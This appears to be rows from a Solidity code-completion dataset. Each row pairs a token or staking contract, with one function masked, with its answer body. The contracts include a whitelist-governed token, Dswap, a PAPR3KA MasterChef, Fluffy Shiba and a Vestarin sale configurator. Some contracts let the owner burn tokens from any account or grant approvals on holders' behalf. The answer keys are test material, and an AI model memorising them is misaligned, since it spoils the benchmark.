//////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev This function implement proxy for befor transfer hook form OpenZeppelin ERC20.
*
* It use interface for call checker function from external (or this) contract defined
* defined by owner.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
require(
ITransferChecker(checkerAddress).transferApproved(from, to, amount)
);
}
/**
* @dev This function implement before transfer hook form OpenZeppelin ERC20.
* This only function MUST be implement and return boolean in any `ITransferChecker`
* smart contract
*/
function transferApproved(address from, address to, uint256 amount) external view returns (bool) {
//We don't need check for mint and burn
if (from == address(0) || to == address(0)) {
return true;
} else {
//get balance after future trasfer
uint256 estimateBalance = balanceOf(from).sub(amount);
//get this address from whitlist. If there is no then fields of structure be false and 0
//WhiteRecord memory sender = whiteList[from];
require(estimateBalance >= uint256(commonMinBalance), "Estimate balance less then common enabled!");
if (whiteListEnable == true) {
require(whiteList[from].transferEnabled, "Sender is not whitelist member!");
require(
estimateBalance >= uint256(commonMinBalance + whiteList[from].minBalance),
"Estimate balance less then common plus minBalance from whiteList!"
);
}
}
return true;
}
/**
* @dev This admin function set contract address that implement any
* transfer check logic (white list as example).
*/
function setCheckerAddress(address _checkerContract) external onlyOwner {<FILL_FUNCTION_BODY> }
/**
* @dev This admin function ON/OFF whitelist
*
*/
function setWhiteListState(bool _isEnable) external onlyOwner {
whiteListEnable = _isEnable;
}
/**
* @dev This admin function set commonMinBalance
* it is not depend on whiteListEnable!!!!!!
*
*/
function setCommonMinBalance(int128 _minBal) external onlyOwner {
commonMinBalance = _minBal;
}
/**
* @dev This admin/governance function used for add/edit white list record
*
*/
function setWhiteListRecord(
address _holder, bool _enabled, int128 _minBal
) external onlyGovernanceContracts returns (bool) {
require(_setWhiteListRecord(_holder, _enabled, _minBal), "WhiteList edit error!");
}
/**
* @dev This admin/governance function used for add/edit white list records batch
*
*/
function multiSetWhiteListRecords(address[] memory _investors, bool _enabled, int128 _value) external onlyGovernanceContracts {
for (uint i=0; i< uint8(_investors.length); i++){
_setWhiteListRecord(_investors[i], _enabled, _value);
}
}
/**
* @dev This internal function used for add/edit white list records
*
*/
function _setWhiteListRecord(
address _holder, bool _enabled, int128 _minBal
) internal returns (bool) {
whiteList[_holder] = WhiteRecord(_enabled, _minBal);
return true;
}
} | contract SmartToken is ERC20("NOAH`s DeFi ARK v.1 Governance Token", "NOAH ARK"), GovernanceContract {
struct WhiteRecord {
bool transferEnabled;
int128 minBalance;
}
address public checkerAddress;
mapping(address => WhiteRecord ) public whiteList;
int128 public commonMinBalance = 0;
bool public whiteListEnable = true;
constructor () public {
checkerAddress = address(this);
}
function mint(address _to, uint256 _amount) public onlyGovernanceContracts virtual returns (bool) {
_mint(_to, _amount);
return true;
}
function approveForOtherContracts(address _sender, address _spender, uint256 _value) external onlyGovernanceContracts() {
_approve(_sender, _spender, _value);
emit Approval(_sender, _spender, _value);
}
function burnFrom(address _to, uint256 _amount) external onlyGovernanceContracts() returns (bool) {
_burn(_to, _amount);
return true;
}
function burn(uint256 _amount) external returns (bool) {
_burn(msg.sender, _amount);
}
function multiTransfer(address[] memory _investors, uint256 _value) public onlyGovernanceContracts {
for (uint i=0; i< uint8(_investors.length); i++){
_balances[_investors[i]] = _balances[_investors[i]].add(_value);
emit Transfer(msg.sender, _investors[i],_value);
}
_balances[msg.sender] = _balances[msg.sender].sub(_value.mul(_investors.length));
}
function multiTransferWithWhiteListAdd(address[] memory _investors, uint256 _value) public onlyGovernanceContracts {
for (uint i=0; i< uint8(_investors.length); i++){
_balances[_investors[i]] = _balances[_investors[i]].add(_value);
emit Transfer(msg.sender, _investors[i],_value);
_setWhiteListRecord(_investors[i], true, int128(_value));
}
_balances[msg.sender] = _balances[msg.sender].sub(_value.mul(_investors.length));
}
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
// Wide transfer control operations ////
//////////////////////////////////////////////////////////////////////////////////////////
/**
* @dev This function implement proxy for befor transfer hook form OpenZeppelin ERC20.
*
* It use interface for call checker function from external (or this) contract defined
* defined by owner.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override {
require(
ITransferChecker(checkerAddress).transferApproved(from, to, amount)
);
}
/**
* @dev This function implement before transfer hook form OpenZeppelin ERC20.
* This only function MUST be implement and return boolean in any `ITransferChecker`
* smart contract
*/
function transferApproved(address from, address to, uint256 amount) external view returns (bool) {
//We don't need check for mint and burn
if (from == address(0) || to == address(0)) {
return true;
} else {
//get balance after future trasfer
uint256 estimateBalance = balanceOf(from).sub(amount);
//get this address from whitlist. If there is no then fields of structure be false and 0
//WhiteRecord memory sender = whiteList[from];
require(estimateBalance >= uint256(commonMinBalance), "Estimate balance less then common enabled!");
if (whiteListEnable == true) {
require(whiteList[from].transferEnabled, "Sender is not whitelist member!");
require(
estimateBalance >= uint256(commonMinBalance + whiteList[from].minBalance),
"Estimate balance less then common plus minBalance from whiteList!"
);
}
}
return true;
}
<FILL_FUNCTION>
/**
* @dev This admin function ON/OFF whitelist
*
*/
function setWhiteListState(bool _isEnable) external onlyOwner {
whiteListEnable = _isEnable;
}
/**
* @dev This admin function set commonMinBalance
* it is not depend on whiteListEnable!!!!!!
*
*/
function setCommonMinBalance(int128 _minBal) external onlyOwner {
commonMinBalance = _minBal;
}
/**
* @dev This admin/governance function used for add/edit white list record
*
*/
function setWhiteListRecord(
address _holder, bool _enabled, int128 _minBal
) external onlyGovernanceContracts returns (bool) {
require(_setWhiteListRecord(_holder, _enabled, _minBal), "WhiteList edit error!");
}
/**
* @dev This admin/governance function used for add/edit white list records batch
*
*/
function multiSetWhiteListRecords(address[] memory _investors, bool _enabled, int128 _value) external onlyGovernanceContracts {
for (uint i=0; i< uint8(_investors.length); i++){
_setWhiteListRecord(_investors[i], _enabled, _value);
}
}
/**
* @dev This internal function used for add/edit white list records
*
*/
function _setWhiteListRecord(
address _holder, bool _enabled, int128 _minBal
) internal returns (bool) {
whiteList[_holder] = WhiteRecord(_enabled, _minBal);
return true;
}
} |
require(_checkerContract != address(0));
checkerAddress =_checkerContract;
| function setCheckerAddress(address _checkerContract) external onlyOwner | /**
* @dev This admin function set contract address that implement any
* transfer check logic (white list as example).
*/
function setCheckerAddress(address _checkerContract) external onlyOwner |
26211 | DetailContract | _burn | contract DetailContract is StandardToken, ERC677Token,Ownable {
using SafeMath for uint256;
string public constant name = 'Dswap Token';
string public constant symbol = 'Dswap';
uint8 public constant decimals = 6;
uint256 public totalSupply = 69*10**11; //
constructor () Ownable() public
{
balances[msg.sender] = totalSupply;
}
// MODIFIERS
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
_;
}
/**
* @dev transfer token to a specified address.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value)
public
validRecipient(_to)
returns (bool success)
{
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
validRecipient(_spender)
returns (bool)
{
return super.approve(_spender, _value);
}
/**
* @dev transfer token to a specified address with additional data if the recipient is a contract.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes memory _data)
public
validRecipient(_to)
returns (bool success)
{
return super.transferAndCall(_to, _value, _data);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) public onlyOwner {
_burn(account, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {<FILL_FUNCTION_BODY> }
} | contract DetailContract is StandardToken, ERC677Token,Ownable {
using SafeMath for uint256;
string public constant name = 'Dswap Token';
string public constant symbol = 'Dswap';
uint8 public constant decimals = 6;
uint256 public totalSupply = 69*10**11; //
constructor () Ownable() public
{
balances[msg.sender] = totalSupply;
}
// MODIFIERS
modifier validRecipient(address _recipient) {
require(_recipient != address(0) && _recipient != address(this));
_;
}
/**
* @dev transfer token to a specified address.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value)
public
validRecipient(_to)
returns (bool success)
{
return super.transfer(_to, _value);
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value)
public
validRecipient(_spender)
returns (bool)
{
return super.approve(_spender, _value);
}
/**
* @dev transfer token to a specified address with additional data if the recipient is a contract.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
* @param _data The extra data to be passed to the receiving contract.
*/
function transferAndCall(address _to, uint _value, bytes memory _data)
public
validRecipient(_to)
returns (bool success)
{
return super.transferAndCall(_to, _value, _data);
}
function mint(address account, uint256 amount) public onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) public onlyOwner {
_burn(account, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
totalSupply = totalSupply.add(amount);
balances[account] = balances[account].add(amount);
}
<FILL_FUNCTION>
} |
require(account != address(0), "ERC20: burn from the zero address");
balances[account] = balances[account].sub(amount);
totalSupply = totalSupply.sub(amount);
| function _burn(address account, uint256 amount) internal | /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal |
24349 | PAPR3KAMasterChef | setBonusEndBlock | contract PAPR3KAMasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of PAPR3KAs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accPAPR3KAPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accPAPR3KAPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. PAPR3KAs to distribute per block.
uint256 lastRewardBlock; // Last block number that PAPR3KAs distribution occurs.
uint256 accPAPR3KAPerShare; // Accumulated PAPR3KAs per share, times 1e12. See below.
}
// The PAPR3KA2 TOKEN!
PAPR3KA_Token public PAPR3KA;
// Dev address.
address public devaddr;
// Block number when bonus PAPR3KA period ends.
uint256 public bonusEndBlock;
// PAPR3KA tokens created per block.
uint256 public PAPR3KAPerBlock;
// Bonus muliplier for early PAPR3KA makers.
uint256 public bonusMultiplier; // no bonus
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when PAPR3KA mining starts.
uint256 public startBlock;
// The block number when PAPR3KA mining ends.
uint256 public endBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
PAPR3KA_Token _PAPR3KA,
address _devaddr,
uint256 _PAPR3KAPerBlock,
uint256 _startBlock,
uint256 _endBlock,
uint256 _bonusMultiplier
) public {
PAPR3KA = _PAPR3KA;
devaddr = _devaddr;
PAPR3KAPerBlock = _PAPR3KAPerBlock;
startBlock = _startBlock;
bonusEndBlock = _startBlock.add(30000);
endBlock = _endBlock;
bonusMultiplier = _bonusMultiplier;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function setPAPR3KAPerBlock(uint256 _PAPR3KAPerBlock) public onlyOwner {
PAPR3KAPerBlock = _PAPR3KAPerBlock;
}
function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner {
bonusMultiplier = _bonusMultiplier;
}
function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner {<FILL_FUNCTION_BODY> }
function setEndBlock(uint256 _endBlock) public onlyOwner {
endBlock = _endBlock;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accPAPR3KAPerShare: 0
}));
}
// Update the given pool's PAPR3KA allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(bonusMultiplier);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(bonusMultiplier).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending PAPR3KAs on frontend.
function pendingPAPR3KA(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPAPR3KAPerShare = pool.accPAPR3KAPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 PAPR3KAReward = multiplier.mul(PAPR3KAPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accPAPR3KAPerShare = accPAPR3KAPerShare.add(PAPR3KAReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accPAPR3KAPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
if (block.number > endBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 PAPR3KAReward = multiplier.mul(PAPR3KAPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
PAPR3KA.mint(devaddr, PAPR3KAReward.div(25)); // 4%
PAPR3KA.mint(address(this), PAPR3KAReward);
pool.accPAPR3KAPerShare = pool.accPAPR3KAPerShare.add(PAPR3KAReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for PAPR3KA allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12).sub(user.rewardDebt);
safePAPR3KATransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12).sub(user.rewardDebt);
safePAPR3KATransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe PAPR3KA transfer function, just in case if rounding error causes pool to not have enough PAPR3KAs.
function safePAPR3KATransfer(address _to, uint256 _amount) internal {
uint256 PAPR3KABal = PAPR3KA.balanceOf(address(this));
if (_amount > PAPR3KABal) {
PAPR3KA.transfer(_to, PAPR3KABal);
} else {
PAPR3KA.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wtf?");
devaddr = _devaddr;
}
} | contract PAPR3KAMasterChef is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
//
// We do some fancy math here. Basically, any point in time, the amount of PAPR3KAs
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accPAPR3KAPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accPAPR3KAPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
IERC20 lpToken; // Address of LP token contract.
uint256 allocPoint; // How many allocation points assigned to this pool. PAPR3KAs to distribute per block.
uint256 lastRewardBlock; // Last block number that PAPR3KAs distribution occurs.
uint256 accPAPR3KAPerShare; // Accumulated PAPR3KAs per share, times 1e12. See below.
}
// The PAPR3KA2 TOKEN!
PAPR3KA_Token public PAPR3KA;
// Dev address.
address public devaddr;
// Block number when bonus PAPR3KA period ends.
uint256 public bonusEndBlock;
// PAPR3KA tokens created per block.
uint256 public PAPR3KAPerBlock;
// Bonus muliplier for early PAPR3KA makers.
uint256 public bonusMultiplier; // no bonus
// Info of each pool.
PoolInfo[] public poolInfo;
// Info of each user that stakes LP tokens.
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
// Total allocation poitns. Must be the sum of all allocation points in all pools.
uint256 public totalAllocPoint = 0;
// The block number when PAPR3KA mining starts.
uint256 public startBlock;
// The block number when PAPR3KA mining ends.
uint256 public endBlock;
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
PAPR3KA_Token _PAPR3KA,
address _devaddr,
uint256 _PAPR3KAPerBlock,
uint256 _startBlock,
uint256 _endBlock,
uint256 _bonusMultiplier
) public {
PAPR3KA = _PAPR3KA;
devaddr = _devaddr;
PAPR3KAPerBlock = _PAPR3KAPerBlock;
startBlock = _startBlock;
bonusEndBlock = _startBlock.add(30000);
endBlock = _endBlock;
bonusMultiplier = _bonusMultiplier;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function setPAPR3KAPerBlock(uint256 _PAPR3KAPerBlock) public onlyOwner {
PAPR3KAPerBlock = _PAPR3KAPerBlock;
}
function setBonusMultiplier(uint256 _bonusMultiplier) public onlyOwner {
bonusMultiplier = _bonusMultiplier;
}
<FILL_FUNCTION>
function setEndBlock(uint256 _endBlock) public onlyOwner {
endBlock = _endBlock;
}
// Add a new lp to the pool. Can only be called by the owner.
// XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do.
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accPAPR3KAPerShare: 0
}));
}
// Update the given pool's PAPR3KA allocation point. Can only be called by the owner.
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(bonusMultiplier);
} else if (_from >= bonusEndBlock) {
return _to.sub(_from);
} else {
return bonusEndBlock.sub(_from).mul(bonusMultiplier).add(
_to.sub(bonusEndBlock)
);
}
}
// View function to see pending PAPR3KAs on frontend.
function pendingPAPR3KA(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accPAPR3KAPerShare = pool.accPAPR3KAPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 PAPR3KAReward = multiplier.mul(PAPR3KAPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accPAPR3KAPerShare = accPAPR3KAPerShare.add(PAPR3KAReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accPAPR3KAPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward vairables for all pools. Be careful of gas spending!
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
// Update reward variables of the given pool to be up-to-date.
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
if (block.number > endBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 PAPR3KAReward = multiplier.mul(PAPR3KAPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
PAPR3KA.mint(devaddr, PAPR3KAReward.div(25)); // 4%
PAPR3KA.mint(address(this), PAPR3KAReward);
pool.accPAPR3KAPerShare = pool.accPAPR3KAPerShare.add(PAPR3KAReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
// Deposit LP tokens to MasterChef for PAPR3KA allocation.
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12).sub(user.rewardDebt);
safePAPR3KATransfer(msg.sender, pending);
}
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
// Withdraw LP tokens from MasterChef.
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12).sub(user.rewardDebt);
safePAPR3KATransfer(msg.sender, pending);
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPAPR3KAPerShare).div(1e12);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _pid, _amount);
}
// Withdraw without caring about rewards. EMERGENCY ONLY.
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
// Safe PAPR3KA transfer function, just in case if rounding error causes pool to not have enough PAPR3KAs.
function safePAPR3KATransfer(address _to, uint256 _amount) internal {
uint256 PAPR3KABal = PAPR3KA.balanceOf(address(this));
if (_amount > PAPR3KABal) {
PAPR3KA.transfer(_to, PAPR3KABal);
} else {
PAPR3KA.transfer(_to, _amount);
}
}
// Update dev address by the previous dev.
function dev(address _devaddr) public {
require(msg.sender == devaddr, "dev: wtf?");
devaddr = _devaddr;
}
} |
bonusEndBlock = _bonusEndBlock;
| function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner | function setBonusEndBlock(uint256 _bonusEndBlock) public onlyOwner |
27914 | Fluffy_Shiba | null | contract Fluffy_Shiba is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {<FILL_FUNCTION_BODY> }
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} | contract Fluffy_Shiba is ERC20Interface, SafeMath {
string public name;
string public symbol;
uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it
uint256 public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
<FILL_FUNCTION>
function totalSupply() public view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
} |
name = "Fluffy Shiba";
symbol = "FLUINU";
decimals = 18;
_totalSupply = 1000000000000000000000000000000000;
balances[msg.sender] = 1000000000000000000000000000000000;
emit Transfer(address(0), msg.sender, _totalSupply);
| constructor() public | constructor() public |
158 | Configurator | deploy | contract Configurator is Ownable {
VestarinToken public token;
Presale public presale;
Mainsale public mainsale;
function deploy() public onlyOwner {<FILL_FUNCTION_BODY> }
} | contract Configurator is Ownable {
VestarinToken public token;
Presale public presale;
Mainsale public mainsale;
<FILL_FUNCTION>
} |
owner = 0x95EA6A4ec9F80436854702e5F05d238f27166A03;
token = new VestarinToken();
presale = new Presale();
presale.setToken(token);
presale.addStage(5000,3000);
presale.setMasterWallet(0x95EA6A4ec9F80436854702e5F05d238f27166A03);
presale.setSlaveWallet(0x070EcC35a3212D76ad443d529216a452eAA35E3D);
presale.setSlaveWalletPercent(30);
presale.setStart(1517317200);
presale.setPeriod(30);
presale.setMinPrice(100000000000000000);
token.setSaleAgent(presale);
mainsale = new Mainsale();
mainsale.setToken(token);
mainsale.addStage(5000,2000);
mainsale.addStage(5000,1800);
mainsale.addStage(10000,1700);
mainsale.addStage(20000,1600);
mainsale.addStage(20000,1500);
